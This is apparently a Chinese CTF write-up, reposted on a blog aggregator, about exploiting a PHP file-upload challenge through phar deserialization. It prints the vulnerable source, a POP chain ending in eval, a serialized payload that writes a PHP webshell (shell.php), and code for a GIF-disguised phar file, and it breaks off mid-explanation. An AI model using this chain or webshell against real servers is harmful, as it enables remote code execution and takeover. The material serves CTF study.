首页 > 其他分享 >【wp】文件上传phar反序列化

【wp】文件上传phar反序列化

时间:2023-09-17 21:35:43浏览次数:57  
标签:function key phar batch file wp 序列化 public

题目

文件泄露,得到两个文件:
index.php

<!DOCTYPE html>
<html>
<head>
    <title>Just Upload!</title>
    <meta charset="UTF-8">
    <style>
        .container {
            display: flex;
            flex-direction: row;
            text-align: center;
            height: 100vh;
        }
        .left {
            flex: 1;
            background-color: #f2f2f2;
            padding: 20px;
        }
        .right {
            flex: 1;
            background-color: #e6e6e6;
            padding: 20px;
        }
    </style>
</head>
<body>
<div class="container">
    <div class="left">
        <h1>文件探测</h1>
        <hr><br>
        <form action="index.php" method="get">
            <label for="name">Filename:</label>
            <input type="text" name="filename"><br><br>
            <input type="submit" value="查询文件">
        </form><br>
        <?php
        error_reporting(1);
        include("classes.php");
        if(isset($_GET['filename']))
        {
            file_exists($_GET['filename']);
            throw new Exception("Unfinished Function!");
        }
        ?>
    </div>
    <div class="right">
        <h1>文件上传</h1>
        <hr><br>
        <form action="index.php" method="post" enctype="multipart/form-data">
            <input type="file" name="file"><br><br>
            <input type="submit" value="上传文件">
        </form><br>
        <?php
            $allowedExts = array("jpg", "png", "gif");
            if(isset($_FILES["file"])){
                $temp = explode(".", $_FILES["file"]["name"]);
                $extension = end($temp);
                if (($_FILES["file"]["size"] < 20000) && in_array($extension, $allowedExts)) {
                    if ($_FILES["file"]["error"] > 0) {
                        echo "Error:" . $_FILES["file"]["error"] . "<br>";
                    } else {
                        if (file_exists("tmp/" . $_FILES["file"]["name"])) {
                            echo $_FILES["file"]["name"] . " already exists. ";
                        } else {
                            $filename = "/tmp/" . md5(random_int(100000,999999).$_FILES["file"]["name"]).".".$extension;
                            move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
                            echo "文件已上传至:" . $filename;
                        }
                    }
                } else {
                    echo "非法文件!";
                }
            }
        ?>
    </div>
</div>
</body>
</html>

以及classes.php

<?php
class Base{
    public $dataReader;
    private $each;
    private $value;
    private $key;
    private $query;
    public $batch;

    public function rewind()
    {
        $this->reset();
        $this->next();
    }

    public function next()
    {
        if ($this->batch === null || !$this->each || $this->each && next($this->batch) === false) {
            $this->batch = $this->fetchData();
            reset($this->batch);
        }

        if ($this->each) {
            $this->value = current($this->batch);
            if ($this->query->indexBy !== null) {
                $this->key = key($this->batch);
            } elseif (key($this->batch) !== null) {
                $this->key = $this->key === null ? 0 : $this->key + 1;
            } else {
                $this->key = null;
            }
        } else {
            $this->value = $this->batch;
            $this->key = $this->key === null ? 0 : $this->key + 1;
        }
    }

    public function reset()
    {
        if($this->dataReader !== null) {
            $this->dataReader->close();
        }
    }

    public function __destruct()
    {
        $this->reset();
    }
}

class Stream{
    public $closes;
    private $getMetadata;
    private $getContents;
    private $read;
    private $isReadable;

    public function isReadable()
    {
        return call_user_func($this->isReadable);
    }

    public function read($length)
    {
        return call_user_func($this->read, $length);
    }

    public function getContents()
    {
        return call_user_func($this->getContents);
    }

    public function getMetadata($key = null)
    {
        return call_user_func($this->getMetadata, $key);
    }
    public function close()
    {
        return call_user_func($this->closes);
    }
}

class Mock{
    public $mockName;
    public $classCode;
    public function generate(){
        if(!class_exists($this->mockName, false)){
            eval($this->classCode);
        }
        return $this->mockName;
    }

    public function getClassCode()
    {
        return $this->classCode;
    }
}

我们的目标是通过文件上传入口,得到靶机的控制权限

思路

0x01 构建rop链

我们可以知道,file_exists、file_get_content等函数,可以通过phar伪协议进行反序列化的。因此,我们要做的是要先构建rop链。

在classes.php中,Mock函数中有generate函数,可以执行eval,因此,该方法为ROP链的终点;ROP链的起点则是Base类的__destruct方法,在对象销毁的时候执行。因此思路可以是这样:
Base->__destruct/Steam->close/Mock->generate。

$a = new Mock();
$a->classCode = 'file_put_contents("shell.php", "<?php @eval(\$_POST[123]);");';
//$a->classCode = 'system("touch test.txt");';
$a->mockName = "generate";

$func = array($a, "generate");
$steam = new Stream();
$steam->closes = $func;
$steam->close();


$base= new Base();
$base->dataReader=$steam;


$payload = serialize($base);
echo $payload.PHP_EOL;
unserialize($payload);

执行后,可以在本地生成shell.php,证明ROP链可以生效。
payload为:

O:4:"Base":6:{s:10:"dataReader";O:6:"Stream":5:{s:6:"closes";a:2:{i:0;O:4:"Mock":2:{s:8:"mockName";s:8:"generate";s:9:"classCode";s:61:"file_put_contents("shell.php", "<?php @eval(\$_POST[123]);");";}i:1;s:8:"generate";}s:19:"�Stream�getMetadata";N;s:19:"�Stream�getContents";N;s:12:"�Stream�read";N;s:18:"�Stream�isReadable";N;}s:10:"�Base�each";N;s:11:"�Base�value";N;s:9:"�Base�key";N;s:11:"�Base�query";N;s:5:"batch";N;}

0x02 构建phar文件

代码如下:

$phar = new Phar('tttt.phar');
$phar->startBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');   //设置stub,增加gif文件头
$phar->addFromString('test.txt', 'test');  //添加要压缩的文件
$phar->setMetadata($base);  //将自定义meta-data存入manifest
$phar->stopBuffering();

这里将生成的tttt.phar修改为tttt.gif后上传,并不能执行。因为...

标签:function,key,phar,batch,file,wp,序列化,public
From: https://www.cnblogs.com/sdlszjb/p/17709866.html

相关文章

  • buu pwn wp(持续更新)
    1、warmup_csaw_2016main函数如下__int64__fastcallmain(inta1,char**a2,char**a3){chars[64];//[rsp+0h][rbp-80h]BYREFcharv5[64];//[rsp+40h][rbp-40h]BYREFwrite(1,"-WarmUp-\n",0xAuLL);write(1,"WOW:",4uLL);......
  • 【愚公系列】2023年09月 WPF控件专题 ListView控件详解
    (文章目录)前言WPF控件是WindowsPresentationFoundation(WPF)中的基本用户界面元素。它们是可视化对象,可以用来创建各种用户界面。WPF控件可以分为两类:原生控件和自定义控件。原生控件是由Microsoft提供的内置控件,如Button、TextBox、Label、ComboBox等。这些控件都是WPF中常见......
  • 从 MongoDb 集合中选择文档返回响应时出现不可序列化错误
    当从MongoDB集合中选择文档返回响应时出现不可序列化错误,可能是因为以下原因:数据类型不可序列化:检查文档中的数据类型是否可被序列化。某些数据类型,如日期对象或二进制数据,可能无法直接序列化为常见的数据格式(如JSON)。在这种情况下,您可能需要先对这些数据进行处理,将其转换为可序列......
  • WPF动画入门教程
    WPF动画入门教程 WindowsPresentationFoundation(WPF)是一种用于创建Windows客户端应用程序的UI框架。它让我们能够创建丰富的图形界面,包括各种各样的动画效果。接下来,我们将介绍如何在WPF中创建简单的动画。文章最后将给出源码,源码包括文章中的动画和一个水印按钮,一个简......
  • 消息转换器 替代 @JsonFormat注解 完成 日期类序列化时的格式转换
      spring中的日期类从数据库读取完数据后,默认的格式其实很难看,传输给前端也不友好,所以我们一般会将日期类通过类似@JsonFormat(pattern="yyyy-MM-ddHH:mm:ss")privateLocalDateTimecreateTime;来更改日期类序列化时的格式。但这样太麻烦了,我们还可以用SpringMVC框架的......
  • WPF使用WebView2的空域问题的解决方案
    我在之前文章中介绍过WPF使用WebView2的空域问题(Airspaceissuse),距离那篇文章大半年后,那个issue下有一个第好用的第三方解决方案了,我这里介绍一下。引入Microsoft.Web.WebView2组件,同时引入CrissCross.WPF.WebView2组件<ItemGroup><PackageReferenceInclude="CrissCross.......
  • 【愚公系列】2023年09月 WPF控件专题 TabControl控件详解
    (文章目录)前言WPF控件是WindowsPresentationFoundation(WPF)中的基本用户界面元素。它们是可视化对象,可以用来创建各种用户界面。WPF控件可以分为两类:原生控件和自定义控件。原生控件是由Microsoft提供的内置控件,如Button、TextBox、Label、ComboBox等。这些控件都是WPF中常见......
  • 在 Java 中自定义反序列化:实现可序列化接口
    实现可串行化接口的功能Serialized接口用于管理Java默认序列化机制使用的序列化和反序列化过程。Java虚拟机(JVM)通过该类的Serialized接口实现来指示该类是否具有可序列化和反序列化的能力。该接口不仅有利于序列化,而且还使开发人员可以自由地更改默认的反序列化行为。由......
  • WPF 抖动动画
    ///<summary>///控件抖动///</summary>///<paramname="translate"></param>///<paramname="power">抖动第一下偏移量</param>///<paramname="range"......
  • WPF动画入门教程
    WindowsPresentationFoundation(WPF)是一种用于创建Windows客户端应用程序的UI框架。它让我们能够创建丰富的图形界面,包括各种各样的动画效果。接下来,我们将介绍如何在WPF中创建简单的动画。文章最后将给出源码,源码包括文章中的动画和一个水印按钮,一个简单的时钟动画,一个复杂的......